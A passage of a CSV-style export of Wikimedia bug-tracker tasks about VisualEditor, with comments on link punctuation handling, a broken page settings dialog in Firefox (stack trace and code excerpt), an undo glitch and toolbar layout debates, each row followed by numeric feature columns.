+In VE it is easy to include trailing punctuation (particularly commas and full stops) in a link without realising it (this is a side-effect of the WYSIWYG), meaning this occurs more often than might be expected (see comments at bug 51142).
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51442",High,80.0,1379605860,1380583304.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-aaouxso4nhg5xgscmdmm,task_description,resolved,True,c1,3,False,False,True,11,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+247577,VisualEditor: Inserting into a link with a trailing (linked) non-alphanumeric character causes link pre-annotation to fail,"Change 86235 merged by jenkins-bot:
+Typing into an annotation next to a word break keeps annotation
+
+https://gerrit.wikimedia.org/r/86235",,,1380583290,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-aaouxso4nhg5xgscmdmm,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+247571,VisualEditor: Inserting into a link with a trailing (linked) non-alphanumeric character causes link pre-annotation to fail,"btw, the <nowiki/> is inserted by Parsoid to make sure the document we have (<a>Foo/a>ish<a>?</a>) is translated properly into what the PHP parser understands as by default the PHP parser treats ""<a> + adjecent text"" as a shortcut to extend the lable (e.g. [[book]]s becomes <a href=""book"">books</a>).",,,1380283588,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-aaouxso4nhg5xgscmdmm,task_subcomment,,True,c1,3,True,,,12,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+247567,VisualEditor: Inserting into a link with a trailing (linked) non-alphanumeric character causes link pre-annotation to fail,"Change 86235 had a related patch set uploaded by Esanders:
+Typing into an annotation next to a word break
+
+https://gerrit.wikimedia.org/r/86235",,,1380277908,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-aaouxso4nhg5xgscmdmm,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+247563,VisualEditor: Inserting into a link with a trailing (linked) non-alphanumeric character causes link pre-annotation to fail,"Yeah, this looks like an off-by-one error in the code for link annotations to not span ""word break"" characters.",,,1380065635,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aaouxso4nhg5xgscmdmm,task_subcomment,,True,c1,3,True,,,12,,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0
+247558,VisualEditor: Inserting into a link with a trailing (linked) non-alphanumeric character causes link pre-annotation to fail,"You are right, Chris. I just thought VE could easily recognize cases in which punctuation could just be included by mistake, because the wikilink would be something like [[Fun.]], not [[Fun|Fun.]] .",,,1379618394,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-aaouxso4nhg5xgscmdmm,task_subcomment,,True,c1,3,False,,,11,,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+247556,VisualEditor: Inserting into a link with a trailing (linked) non-alphanumeric character causes link pre-annotation to fail,"In some cases the non-alphnumeric is desired - [[Fun.]], [[Westward Ho!]] and [[C++]] are cases that spring immediately to mind.
+
+I think it is best that VE does what you ask it to, whether that is what you wanted or not. Anything typed in the middle of a link should be included in that link in all cases, which would make spotting that trailing punctuation is limited easier.",,,1379616875,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-aaouxso4nhg5xgscmdmm,task_subcomment,,True,c1,3,False,,,11,,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,1
+247555,VisualEditor: Inserting into a link with a trailing (linked) non-alphanumeric character causes link pre-annotation to fail,"(I'd add that, at least for me, there is a desired outcome, which is that VE puts the non-alphanumeric character outside the link - of course, I am not sure this is doable or desirable, but this is why I had added my report to 51442.)",,,1379615722,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-aaouxso4nhg5xgscmdmm,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,1,0
+247552,VisualEditor: Inserting into a link with a trailing (linked) non-alphanumeric character causes link pre-annotation to fail,"How to reproduce
+
+1. Load any page in VE
+2. Type any sequence of characters ending in one or more non-space characters followed by any non-alphanumeric character except space or underscore. For example: Foo?
+3. Link what you have written, including the last character, to any target (e.g. [[Wikipedia]].
+4. add any text immediately before the last character. eg. change Foo? to Fooish?
+5. Save and look at the diff.
+
+Expected wikitext:
+[[Wikipedia|Fooish?]]
+
+Actual wikitext:
+[[Wikipedia|Foo]]<nowiki />ish[[Wikipedia|?]]
+
+(In reply to comment #1)
+> I think you mean bug 51442
+
+I do. Dyslexia strikes again :(",,,1379606657,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-aaouxso4nhg5xgscmdmm,task_subcomment,,True,c1,3,False,,,11,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,1
+247547,VisualEditor: Inserting into a link with a trailing (linked) non-alphanumeric character causes link pre-annotation to fail,I think you mean bug 51442,,,1379606464,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-aaouxso4nhg5xgscmdmm,task_subcomment,,True,c1,3,True,,,11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+56322,VisualEditor: [Regression] Page settings dialog broken in Firefox,"Current VisualEditor-Version:
+commit c98a964d5f8495f0d16af9229abbeb0449042d1e
+Merge: 3d01a5b e7aed52
+Author: jenkins-bot <jenkins-bot@gerrit.wikimedia.org>
+Date:   Wed Sep 18 01:11:46 2013 +0000
+Merge ""Fix check for preformatted when stripping whitespace""
+
+Browser: Firefox 24.0 on Windows 7 64bit
+
+
+Description:
+I updated my VisualEditor via git yesterday. Before that I didnt update for 4 weeks. Now when openening a page on my MediaWiki in VE-Editmode I cant assign a page category (See screenshot).
+
+I tried to debug with Firebug: When I click on categories the following error gets fired:
+
+TypeError: style is null
+http://XYZ/load.php?debug=false&lang=de&modules=ext.visualEditor.core%2Cdata%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T072806Z&*
+Line 9
+
+--------------------------
+**Version**: unspecified
+**Severity**: blocker",High,80.0,1379594760,1380823394.0,PHID-USER-26asvhtv4jalaeeuigbm,False,,False,PHID-TASK-wxxlsxtwpum7ayno6uo4,task_description,resolved,True,c1,3,False,False,False,11,,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+247037,VisualEditor: [Regression] Page settings dialog broken in Firefox,Have split the new failure into bug 54928 and am re-closing this one.,,,1380823394,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wxxlsxtwpum7ayno6uo4,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+247033,VisualEditor: [Regression] Page settings dialog broken in Firefox,"(In reply to comment #7)
+> This should be fixed in https://gerrit.wikimedia.org/r/#/c/85692 , which is
+> in
+> wmf19 but not in wmf18. enwiki is being upgraded from wmf18 to wmf19 today,
+> hopefully that'll fix it.
+
+That's the patch that closed this bug (comment 3). But it appears there is indeed a new bug that causes the page settings dialog to be broken again due to an uncaught exception when the dialog is first created when clicking the page settings button.
+
+
+It fails in Chrome like this:
+
+Uncaught TypeError: Cannot use 'in' operator to search for 'scrollTop' in undefined load.php?…:102
+vendorPropName load.php?…:102
+jQuery.extend.css load.php?…:105
+Tween.propHooks._default.get load.php?…:136
+Tween.cur load.php?…:136
+Tween.init load.php?…:135
+Tween load.php?…:135
+Animation.deferred.promise.createTween load.php?…:131
+tweeners.* load.php?…:129
+(anonymous function) load.php?…:130
+jQuery.extend.each load.php?…:8
+createTweens load.php?…:130
+Animation load.php?…:132
+doAnimation load.php?…:137
+jQuery.extend.dequeue load.php?…:25
+(anonymous function) load.php?…:26
+jQuery.extend.each load.php?…:8
+jQuery.fn.jQuery.each load.php?…:4
+jQuery.fn.extend.queue load.php?…:26
+jQuery.fn.extend.animate load.php?…:138
+ve.Element.scrollIntoView load.php?ext.visualEditor…:11
+ve.Element.scrollElementIntoView load.php?ext.visualEditor…:12
+ve.ui.OptionWidget.setSelected load.php?ext.visualEditor…:404
+ve.ui.SelectWidget.selectItem load.php?ext.visualEditor…:400
+ve.ui.PagedDialog.addPage load.php?ext.visualEditor…:458
+ve.ui.MWMetaDialog.initialize load.php?ext.visualEditor…:461
+ve.ui.Window.onFrameInitialize load.php?ext.visualEditor…:353
+oo.EventEmitter.emit load.php?ext.visualEditor.bas…:133
+ve.ui.Frame.load load.php?ext.visualEditor…:351
+ve.ui.WindowSet.open load.php?ext.visualEditor…:356
+ve.init.mw.ViewPageTarget.onToolbarMwMetaButtonClick load.php?ext.visualEditor.bas…:87
+proxy load.php?…:10
+jQuery.event.dispatch load.php?…:45
+elemData.handle.eventHandle load.php?…:38",,,1380823156,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-wxxlsxtwpum7ayno6uo4,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+247026,VisualEditor: [Regression] Page settings dialog broken in Firefox,"This should be fixed in https://gerrit.wikimedia.org/r/#/c/85692 , which is in wmf19 but not in wmf18. enwiki is being upgraded from wmf18 to wmf19 today, hopefully that'll fix it.",,,1380822772,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-wxxlsxtwpum7ayno6uo4,task_subcomment,,True,c1,3,False,,,13,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+247020,VisualEditor: [Regression] Page settings dialog broken in Firefox,"Confirmed:
+
+* Working on latest master locally (Chrome).
+* Broken on mediawik.org (Chrome).",,,1380818645,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-wxxlsxtwpum7ayno6uo4,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1
+247014,VisualEditor: [Regression] Page settings dialog broken in Firefox,"It's still happening, unfortunately. Ed found out it works fine on local and mediawiki.org, though.
+
+TeamGale mentioned this today at en.wp:
+<<Just wanted to ask...how can we add categories with VE? In the past I could do it by clicking on ""Page settings"" but now when I click on it nothing happens! Is there somewhere else a button that adds categories? I searched everywhere but I can't find it. If it's still on the ""Page settings"" then something is not working right... Thanks TeamGale 09:54, 3 October 2013 (UTC)>>
+
+Fram tested as well:
+
+<<Tested this. FIrst click on ""page settings"" gives no results. Second click opens the page setting window. But I can't do anything there.>>
+
+I can confirm that the second click just launches an empty window, with only the ""categories"" label text on the left column.
+
+<<Actually this one with the categories is happening for a while for me. Just when I first found it I was in a hurry and couldn't leave a feedback. Then I totally forgot about it till now that I needed to use it again. It's weird that no one else mentioned it here before though.
+Elitre, I don't know if it's a cache problem but I'll try to clean my cache again and re-test it. But the ""after a few attempts"" is still not right for me. Shouldn't this happening in the first attempt? TeamGale 10:12, 3 October 2013 (UTC)
+Update: Nop, still happening the same for me even if I clean cache, cookies etc... TeamGale 10:20, 3 October 2013 (UTC)
+Hmm...it seems to be only a Mozilla issue. I just tried it with Mozilla on Greek WP and it still doesn't work. But when I tested it on Google, it was working just fine. TeamGale 11:00, 3 October 2013 (UTC)>>",,,1380799304,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-wxxlsxtwpum7ayno6uo4,task_subcomment,,True,c1,3,False,,,13,,1,1,1,0,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+247007,VisualEditor: [Regression] Page settings dialog broken in Firefox,"Problem solved. Tested with Firefox 24.0 on Windows 7 64BIT.
+>> Page-settings dialog is operational and working.",,,1380001984,,PHID-USER-26asvhtv4jalaeeuigbm,False,,,PHID-TASK-wxxlsxtwpum7ayno6uo4,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+246999,VisualEditor: [Regression] Page settings dialog broken in Firefox,"Change 85692 merged by jenkins-bot:
+ve.Element: Account for getComputerStyle returning null
+
+https://gerrit.wikimedia.org/r/85692",,,1379963945,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wxxlsxtwpum7ayno6uo4,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+246990,VisualEditor: [Regression] Page settings dialog broken in Firefox,"Change 85692 had a related patch set uploaded by Krinkle:
+ve.Element: Account for getComputerStyle returning null
+
+https://gerrit.wikimedia.org/r/85692",,,1379959272,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wxxlsxtwpum7ayno6uo4,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+246981,VisualEditor: [Regression] Page settings dialog broken in Firefox,"I can confirm. When trying to open the Page settings dialog, an exception is thrown for ""style is null"":
+
+ve.Element.js, line:
+ 		top = parseFloat( loc ? style.borderTopWidth : $el.css( 'borderTopWidth' ) ) || 0,
+
+Context:
+ve.Element.getBorders = function ( el ) {
+	var doc = el.ownerDocument,
+		win = doc.parentWindow || doc.defaultView,
+		style = win && win.getComputedStyle ?
+			win.getComputedStyle( el, null ) : el.currentStyle,
+		loc = win && win.getComputedStyle ? true : false,
+		$el = $( el ),
+		top = parseFloat( loc ? style.borderTopWidth : $el.css( 'borderTopWidth' ) ) || 0,",,,1379595471,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-wxxlsxtwpum7ayno6uo4,task_subcomment,,True,c1,3,True,,,11,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+56314,"VisualEditor: A pawn appears when undoing ""select transclusion and replace with text""","Steps to reproduce bug:
+1. Edit a page
+2. Insert a transclusion, apply changes
+# The transclusion is now selected (VE does this automatically for newly inserted nodes)
+3. Type a characters
+# Selected content is removed, text is inserted
+4. Undo
+
+The expected result is the text being replaced with the transclusion. Instead a pawn is inserted.
+
+Upon further inspection I noticed that the transclusion isn't lost, however. In fact it is right there when you Undo again (after getting the pawn).
+
+So it looks like the pawn was inserted as a transaction in the middle of removing the transclusion (its own transaction but not supposed to be?) and inserting the text.
+
+We auto-select the template after insertion and it is relatively easy to accidentally press a key afterwards. And Undo then shows the user something scary (their template appears lost). A fairly high priority bug regarding user experience.
+
+Not sure if this is a regression or not.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1379589060,1381281061.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-equ6rehqzaorfkk3nuw5,task_description,resolved,True,c1,3,True,False,False,11,,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+246645,"VisualEditor: A pawn appears when undoing ""select transclusion and replace with text""","This is now fixed, AFAICS. Marking as such.",,,1380844698,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-equ6rehqzaorfkk3nuw5,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+56271,VisualEditor: Collapse all the text styling buttons (except link?) into a single text-styling icon in the toolbar,"From en.wp.
+
+John Broughton: <<So there is now a new toolbar, and - bizarrely - the icons for media, reference, reference list, and transclusion '''are no longer visible'''. They are now under the ""More"" menu.
+Okay, one could argue that these four are, somehow, ''advanced'' editing options (no matter how critical they are to editing articles). But I'd love to hear from someone as to why Bold and Italic (the first in particular ''rarely'' used in articles) still have icons visible on the toolbar, while five other formatting options are now under ""More"". It really, really would have been better to have a ""Format text"" drop-down menu that had all seven text formatting options on it, and to leave the media, reference, reference list, and transclusion icons where they were, visible on the toolbar. Or, worst case, leave them under the ""More"" menu [one more click, and thus one less reason for experienced editors to use VE, because this '''makes it more cumbersome to use''' those four things]; at least then they wouldn't be paired with formatting options with which they have little in common. [...] (And don't even get me started on the ''sequence'' within the new ""More"" drop-down menu - apparently the ''least'' important choices are at the ''top'' because that's the way that ''no one else'' does drop-down menus, so obviously everyone else is wrong?!?)>>
+
+Andrew Davidson: <<Bold formatting is not rarely used.  It is used in all articles right at the beginning to emphasise the name of the topic and any synonyms.  But this usage is quite specialised and subject to the conventions of our manual of style.  The VE should understand this.  Either the use of bold text should be handled by a style sheet/template/wizard approach to article creation.  Or the appearance of the bold option in the toolbar should be context sensitive so that it only appears when editing the lead of an article and warnings appears if it seems to be used incorrectly. >>
+
+Salix alba: <<One problem I get is the toolbar frequently splits into two lines. If my browser less than 1100 pixels then the toolbar wraps leaving lots of white space which could be usefully filled. I'd be happier either with single line with more drop downs or two full lines, just not empty space.
+I guess different editors will want different things on a toolbar. Doing inline maths you would want italics, sub, and sup to be easily added plus greek symbols eiπ. Other editors will have different requirements. Tooltips would be handy to get shortcuts for each action, (no I will not read the help page). The wikitext editor's toolbar manages to make a lot of things easily accessible.>>
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1379510460,1389667077.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-agsyhe563ga6xlci4yds,task_description,resolved,True,c1,3,False,False,False,11,,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+243916,VisualEditor: Collapse all the text styling buttons (except link?) into a single text-styling icon in the toolbar,I did this in wmf7.,,,1389667077,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-agsyhe563ga6xlci4yds,task_subcomment,,True,c1,3,True,,,28,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+243911,VisualEditor: Collapse all the text styling buttons (except link?) into a single text-styling icon in the toolbar,"FYI, he conversation is now happening at https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Toolbar .",,,1379693737,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-agsyhe563ga6xlci4yds,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+243905,VisualEditor: Collapse all the text styling buttons (except link?) into a single text-styling icon in the toolbar,"Conversation on the best order of the toolbar is continuing and is pretty thoughtful and indepth at the English VE feedback page. :)
+
+Live link: https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Toolbar_button_priority_proposal
+
+Permanent link to its current state:
+https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=573642781#Toolbar_button_priority_proposal",,,1379599183,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-agsyhe563ga6xlci4yds,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0
+243901,VisualEditor: Collapse all the text styling buttons (except link?) into a single text-styling icon in the toolbar,"My feelings are similar to John's on this.  We can't bury important buttons like references in a dropdown menu.  And, as John points out, for the english user base anyway, the options of underline and strikethrough are very rarely used.  New users are going to experiment with the options most prominently placed, these should be the most useful tools that would lead to a constructive (i.e. not reverted) edit.",,,1379527718,,PHID-USER-ttyyrgsrkyonct7hizgv,True,,,PHID-TASK-agsyhe563ga6xlci4yds,task_subcomment,,True,c1,3,False,,,11,,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+243897,VisualEditor: Collapse all the text styling buttons (except link?) into a single text-styling icon in the toolbar,"Grouping commands under a ""Text format"" drop-down menu is a natural (obvious, intuitive) way to collect commands that are rarely used. For example, bolding of text, in articles, is typically done ONCE (in the lead paragraph, by the author of the article), and then never again. 
+
+A ""Text format"" drop-down menu would take all of the following off of the main toolbar line, leaving space for (at the moment) everything else:
+
+* Bold
+* Italic
+* Superscript
+* Subscript
+* Programming language 
+* Underline
+* Strikethrough
+* Clear formatting
+
+Putting all these under a single menu has the advantage of - in the future - allowing projects to control which options are visible in which namespaces. For example, on the English Wikipedia, strikethrough almost certainly should not be a (visible) user choice in mainspace (articlespace), nor should underlining. 
+
+It's important, for SPEED, that frequently used functions are immediately accessible. Articles should have lots of footnotes, a fair number of templates (particularly for footnotes), and at least a couple of images. Putting the related commands into a drop-down menu, as opposed to having them directly on the toolbar, is undesirable: It makes VE less attractive to experienced editors (slower to use) and more difficult for new editors (because now they have to be instructed on, and remember, a TWO-step process (menu, select) rather than a one-step process (click), for important things like images and footnotes.",,,1379523614,,PHID-USER-hirrhium5ibrtof34lwa,True,,,PHID-TASK-agsyhe563ga6xlci4yds,task_subcomment,,True,c1,3,False,,,11,,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,0,1,1,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,0,0,0,1,1,0,1,1,1,0,1,0,1,0,1,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0
+243891,VisualEditor: Collapse all the text styling buttons (except link?) into a single text-styling icon in the toolbar,"User Pointillist on the English Wikipedia has some really interesting ideas on this subject, posted here: https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=573508478#Toolbar_button_priority_proposal
+
+Without all the very useful images, he writes (please pardon my clumsy textual effort to reproduce his proposal and check out the link to see it the way it should look):
+
+Summary: as discussed above and in bug 54271, the sequence of buttons in the toolbar isn't appropriate for typical article editing activities.
+
+The current toolbar gives too much priority to hard-coded formatting such as Bold, Italic, Lists and Indents. As a result:
